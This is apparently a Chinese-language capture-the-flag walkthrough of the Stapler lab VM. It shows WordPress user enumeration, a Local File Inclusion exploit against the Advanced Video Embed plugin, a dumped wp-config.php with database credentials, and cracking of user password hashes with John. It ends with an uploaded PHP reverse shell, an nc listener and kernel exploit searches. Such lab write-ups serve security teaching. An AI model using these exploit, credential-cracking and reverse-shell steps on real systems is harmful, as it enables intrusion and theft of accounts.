| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] barry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] garry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] harry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] kathy
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tim
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] scott
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] zoe
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] simon
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] elly
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] dave
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] abby
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] vicki
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] pam
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Nov 1 16:26:09 2022
[+] Requests Done: 101087
[+] Cached Requests: 63
[+] Data Sent: 30.122 MB
[+] Data Received: 13.679 MB
[+] Memory used: 519.211 MB
[+] Elapsed time: 00:04:02
首先來看看外掛:
[i] Plugin(s) Identified:
[+] advanced-video-embed-embed-videos-or-playlists
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-10-14T13:52:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[+] akismet
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/
| Latest Version: 5.0.1
| Last Updated: 2022-09-28T15:27:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] shortcode-ui
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/
| Last Updated: 2019-01-16T22:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| [!] The version is out of date, the latest version is 0.7.4
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
|
| Version: 0.6.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[+] two-factor
| Location: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/
| Latest Version: 0.7.3
| Last Updated: 2022-10-17T15:56:00.000Z
| Readme: https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - https://192.168.44.227:12380/blogblog/wp-content/plugins/two-factor/, status: 200
|
| The version could not be determined.
都有列出外掛所在位址,可以到https://192.168.44.227:12380/blogblog//wp-content/plugins/
看看。
外掛可能也是會有漏洞的,先點進第一個資料夾內:
查看readme.txt:
=== Advanced video embed ===
Contributors: arshmultani,meenakshi.php.developer,DScom
Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=Z7C7DNDD9VS3L
Tags: advanced video embed,youtube video embed,auto poster, wordpress youtube playlist maker,wordpress youtube playlists,wordpress youtube plugin,wordpress youtube embed,wordpress videos youtube,wordpress youtube video shortcode,wordpress youtube video as post,video embed , wordpress video embeding plugin,
Requires at least: 3.0.1
Tested up to: 3.3.1
Stable tag: 1.0
Version: 1.0
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Adavnced Video embed free version supports youtube video embed into your wordpress posts, with easy to use search panel along side you can also create youtube playlists within the search panel and generate its shortcode to use in posts
== Description ==
Adavnced Video embed free version supports youtube video embed into your wordpress posts, with easy to use search panel along side you can also create youtube playlists within the search panel and generate its shortcode to use in posts.
You can use biult in shortcode to view any youtube video in any post or page or sidebar anywhere you want just use the shortcode below with paramteres as well
Youtube video shortcode e.g: [ave_yt i="9bZkp7q19f0" rel="Yes" full="Yes" controls="Yes"]
Parameters :
* <b>i</b> is an youtube video id which is required.
* <b>rel</b> rel can be <b>Yes</b> or <b>No</b> or remove it to show relative videos normally | this parameters can be used to show or hide suggestion when video is over.
* <b>full</b> full can be <b>Yes</b> or <b>No</b> or remove it to allow full screen normally | this parameters can be used to allow or disallow the full screen mode of video.
* <b>controls</b> controls can be <b>Yes</b> or <b>No</b> or remove it to use controls normally
Youtube make videos id playlist : [ave_playlist ids="e-ORhEE9VVg,9bZkp7q19f0,0KSOMA3QBU0"]
Parameters :
* <b>ids</b> this parameter can include one or more id's divided by comma(,) and used in any post or page or anywhere.
You can also use the search panel By going into A.V.E SEARCH VIDEO section and search video by clicking on <b>View</b> an popup will open where you can generate an shortcode with parameters you want and also you can generate an playlist ,by clicking on <b>+ Playlist</b> button pn any video you can add it into an box , you can add as much video you want and then click on generate button along the input box and an shortcode will be generated for you to use in an post or page or anywhere in wordpress site.
Our agency website: <a href="http://www.dscom.it/">DScom.it/<a> our team <a href="http://dscom.it/team-communication-for-business-strategy-brescia/">DScom Team</a>
== Installation ==
1. Upload advanced_video_embed folder inside 'wp-content/plugins/'
2. Go to 'Plugins > Installed plugins' and activate the plugin.
3. Go to A.V.E Search video menu hover on it and then click on A.v.e settings and fill your api key.
== Screenshots ==
1. Search page screenshot
2. Playlist bar screenshot
3. Poup screenshot
可以發現它的版本號是1.0。先找找看有沒有它的攻擊腳本:
$ searchsploit advanced video
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Advanced Video 1.0 - Local File Inclusion | php/webapps/39646.py
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
這個也是針對1.0,看來是bingo了。
要把它copy到我為打這靶機設立的資料夾,有searchsploit -m
指令:
$ cd target_machine/stapler/
$ ls
todo-list.txt vsftpd.conf wordpress-4.tar.gz
$ searchsploit -m 39646
Exploit: WordPress Plugin Advanced Video 1.0 - Local File Inclusion
URL: https://www.exploit-db.com/exploits/39646
Path: /usr/share/exploitdb/exploits/php/webapps/39646.py
File Type: Python script, ASCII text executable
Copied to: /home/nathan/target_machine/stapler/39646.py
$ ls
39646.py todo-list.txt vsftpd.conf wordpress-4.tar.gz
好,來解析一下這個python吧。
import random
import urllib2
import re
url = "http://127.0.0.1/wordpress" # insert url to wordpress
randomID = long(random.random() * 100000000000000000L)
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
關鍵看這幾行就好。首先,url的http://127.0.0.1/wordpress
要改成https://192.168.44.227:12380/blogblog
,因為這才是在我這台機器上連到wordpress的網址。randomID是個17位亂碼,所以objHtml可以寫成一個實例:
https://192.168.44.227:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=26013192698497744&short=rnd&term=rnd&thumb=../wp-config.php
輸入這個網址後,會出現一個網址
不過連到這網址https://192.168.44.227:12380/blogblog/?p=210
後,只會跟你說找不到:
不過既然是LFI,那剛剛應該有做什麼動作,比如上載了什麼東西。所以先爆破目錄,猜可能藏在哪:
$ dirb https://192.168.44.227:12380/blogblog/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Nov 5 09:59:53 2022
URL_BASE: https://192.168.44.227:12380/blogblog/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://192.168.44.227:12380/blogblog/ ----
+ https://192.168.44.227:12380/blogblog/index.php (CODE:301|SIZE:0)
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-content/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-includes/
+ https://192.168.44.227:12380/blogblog/xmlrpc.php (CODE:405|SIZE:42)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/ ----
+ https://192.168.44.227:12380/blogblog/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/css/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/images/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/includes/
+ https://192.168.44.227:12380/blogblog/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/js/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/maint/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/network/
==> DIRECTORY: https://192.168.44.227:12380/blogblog/wp-admin/user/
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/network/ ----
+ https://192.168.44.227:12380/blogblog/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ https://192.168.44.227:12380/blogblog/wp-admin/network/index.php (CODE:302|SIZE:0)
---- Entering directory: https://192.168.44.227:12380/blogblog/wp-admin/user/ ----
+ https://192.168.44.227:12380/blogblog/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ https://192.168.44.227:12380/blogblog/wp-admin/user/index.php (CODE:302|SIZE:0)
-----------------
END_TIME: Sat Nov 5 10:00:08 2022
DOWNLOADED: 18448 - FOUND: 8
就來看看wp-content:
可以發現有一個uploads資料夾是今天日期,點進去:
有個圖片檔,但點進去以後看不到東西:
把它下載下來:
$ wget https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg
--2022-11-05 10:10:27-- https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg
Connecting to 192.168.44.227:12380... connected.
ERROR: The certificate of ‘192.168.44.227’ is not trusted.
ERROR: The certificate of ‘192.168.44.227’ doesn't have a known issuer.
The certificate's owner does not match hostname ‘192.168.44.227’
$ wget https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg --no-check-certificate
--2022-11-05 10:11:44-- https://192.168.44.227:12380/blogblog/wp-content/uploads/512237901.jpeg
Connecting to 192.168.44.227:12380... connected.
WARNING: The certificate of ‘192.168.44.227’ is not trusted.
WARNING: The certificate of ‘192.168.44.227’ doesn't have a known issuer.
The certificate's owner does not match hostname ‘192.168.44.227’
HTTP request sent, awaiting response... 200 OK
Length: 3042 (3.0K) [image/jpeg]
Saving to: ‘512237901.jpeg’
512237901.jpeg 100%[=================================================>] 2.97K --.-KB/s in 0s
2022-11-05 10:11:44 (261 MB/s) - ‘512237901.jpeg’ saved [3042/3042]
記得wget要加上--no-check-certificate
這個參數。
看看圖片檔:
$ cat 512237901.jpeg
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, and ABSPATH. You can find more information by visiting
* {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
* Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'V 5p=[.Vds8~SX;>t)++Tt57U6{Xe`T|oW^eQ!mHr }]>9RX07W<sZ,I~`6Y5-T:');
define('SECURE_AUTH_KEY', 'vJZq=p.Ug,]:<-P#A|k-+:;JzV8*pZ|K/U*J][Nyvs+}&!/#>4#K7eFP5-av`n)2');
define('LOGGED_IN_KEY', 'ql-Vfg[?v6{ZR*+O)|Hf OpPWYfKX0Jmpl8zU<cr.wm?|jqZH:YMv;zu@tM7P:4o');
define('NONCE_KEY', 'j|V8J.~n}R2,mlU%?C8o2[~6Vo1{Gt+4mykbYH;HDAIj9TE?QQI!VW]]D`3i73xO');
define('AUTH_SALT', 'I{gDlDs`Z@.+/AdyzYw4%+<WsO-LDBHT}>}!||Xrf@1E6jJNV={p1?yMKYec*OI$');
define('SECURE_AUTH_SALT', '.HJmx^zb];5P}hM-uJ%^+9=0SBQEh[[*>#z+p>nVi10`XOUq (Zml~op3SG4OG_D');
define('LOGGED_IN_SALT', '[Zz!)%R7/w37+:9L#.=hL:cyeMM2kTx&_nP4{D}n=y=FQt%zJw>c[a+;ppCzIkt;');
define('NONCE_SALT', 'tb(}BfgB7l!rhDVm{eK6^MSN-|o]S]]axl4TE_y+Fi5I-RxN/9xeTsK]#ga_9:hJ');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
define('WP_HTTP_BLOCK_EXTERNAL', true);
看來裡面的內容,是之前攻擊腳本內提到的wp-config.php
。這裡面提供了資料庫帳密:
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
依此登入資料庫:
$ mysql -u root -p -h 192.168.44.227
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 23
Server version: 5.7.12-0ubuntu1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
好,接下來試試上一次(KIOPTRIX: LEVEL 1.3 (#4))學到的姿勢,看能不能資料庫提權:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| loot |
| mysql |
| performance_schema |
| phpmyadmin |
| proof |
| sys |
| wordpress |
+--------------------+
8 rows in set (51.390 sec)
MySQL [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [mysql]> select * from func;
Empty set (31.459 sec)
結果在select * from func;
這條指令顯示出來的是空的,所以沒辦法跟上次一樣用sys_eval
或sys_exec
來執行指令。
換wordpress資料庫來看看:
MySQL [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [mysql]> select * from func;
Empty set (31.459 sec)
MySQL [mysql]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [wordpress]> select * from wp_users;
select * from wp_users;
顯示的欄位太多了,所以只顯示用戶名跟密碼:
MySQL [wordpress]> select user_login,user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| John | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
16 rows in set (5.413 sec)
密碼看起來是被hash過,問題是它是用什麼hash演算法?
hash-identifier可以得到答案:
$ hash-identifier $P$B7889EMq/erHIuZapMB8GEizebcIy9.
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Not Found.
--------------------------------------------------
HASH: $P$B7889EMq/erHIuZapMB8GEizebcIy9.
Possible Hashs:
[+] MD5(Wordpress)
--------------------------------------------------
是md5。
接下來就是解密。首先編輯一個1.txt
,內容就是剛剛的使用者跟密碼:
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| John | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
因為現在只需要密碼,所以用以下指令,把1.txt
的密碼欄位複製到pass.txt
。
$ awk -F'|' '{print $3}' 1.txt > pass.txt
$ cat pass.txt
user_pass
$P$B7889EMq/erHIuZapMB8GEizebcIy9.
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0
接下來就是解密,kali有自帶密碼破解工具john,使用的字典檔是位於/usr/share/wordlists
的rockyou.txt
,要解密的檔案是pass.txt。
但如果是第一次使用這個字典檔,則要先把它(rockyou.txt.gz
)解壓縮:
$ cd /usr/share/wordlists/
$ ls
amass dirbuster fasttrack.txt john.lst metasploit rockyou.txt.gz sqlmap.txt wifite.txt
dirb dnsmap.txt fern-wifi legion nmap.lst seclists wfuzz
$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
[sudo] password for nathan:
$ ls
amass dirbuster fasttrack.txt john.lst metasploit rockyou.txt sqlmap.txt wifite.txt
dirb dnsmap.txt fern-wifi legion nmap.lst seclists wfuzz
接下來解密指令如下:
$ john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie (?)
monkey (?)
football (?)
coolgirl (?)
washere (?)
incorrect (?)
thumb (?)
0520 (?)
passphrase (?)
damachine (?)
ylle (?)
partyqueen (?)
12g 0:00:13:32 DONE (2022-11-05 15:09) 0.01476g/s 17643p/s 84828c/s 84828C/s !!!@@@!!!..?*?7¡Vamos!?
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
雖然解密了,但不曉得解出來的明文跟哪一個密文對應,要去察看根目錄隱藏資料夾.john,裡面有john.pot可看。
$ cd
$ cd .john
$ pwd
/home/nathan/.john
$ ls
john.log john.pot
$ cat john.pot
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1:cookie
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0:monkey
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1:football
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0:coolgirl
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0:washere
$P$B7889EMq/erHIuZapMB8GEizebcIy9.:incorrect
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0:thumb
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0:0520
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10:passphrase
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.:damachine
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0:ylle
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1:partyqueen
這密碼順序跟1.txt裡的順序不同,要自己對對看,像第一個john它的密碼應該john.pot的第六個incorrect。
到之前也到過的登入頁面,用john/incorrect,登入後台:
0x02 Get Shell
利用wordpress的後台,上傳可以reverse shell的php檔。
點上圖紅圈處後到下圖,
再點上圖紅圈處,到下圖上傳檔案頁面。
kali自帶可以用來reverse shell的php檔,位置在/usr/share/webshells/php/php-reverse-shell.php
。
上傳之前要先編輯一下,把它打開後內容如下:
要改的是紅圈處,要把ip改成攻擊機的IP。至於port可以不用改,只是要記得等一下攻擊機在聽的時候要聽1234port。
在uploads頁面可看到剛剛上傳的php。
先在攻擊機上下指令nc -vlp 1234
,接下來只要點擊網頁上的php-reverse-shell.php
,即可get shell。
$ nc -vlp 1234
listening on [any] 1234 ...
connect to [172.22.137.180] from DESKTOP-NRNV04H.mshome.net [172.22.128.1] 60166
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
05:24:41 up 19:01, 0 users, load average: 0.34, 19.69, 42.35
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@red:/$
藉由python -c 'import pty;pty.spawn("/bin/bash")'
來穩定shell。
查找此靶機相關訊息:
www-data@red:/$ uname -mra
uname -mra
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
www-data@red:/$ cat /etc/*release*
cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
發現是32位元,kernel 4.4.0-21,ubuntu 16.04。
$ searchsploit linux kernel 4.4
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege | linux_x86-64/local/40871.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC) | linux/dos/41457.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation | linux/local/41458.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Pr | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Conditio | windows_x86-64/local/47170.c
Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Esc | linux/local/39277.c
Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Esc | linux/local/40003.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Esc | linux/local/39772.txt
...
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalatio | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local | linux/local/47169.c
Linux Kernel < 4.5.1 - Off-By-One (PoC) | linux/dos/44301.c
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
只列出部分。要注意以下這一支感覺可以用的poc
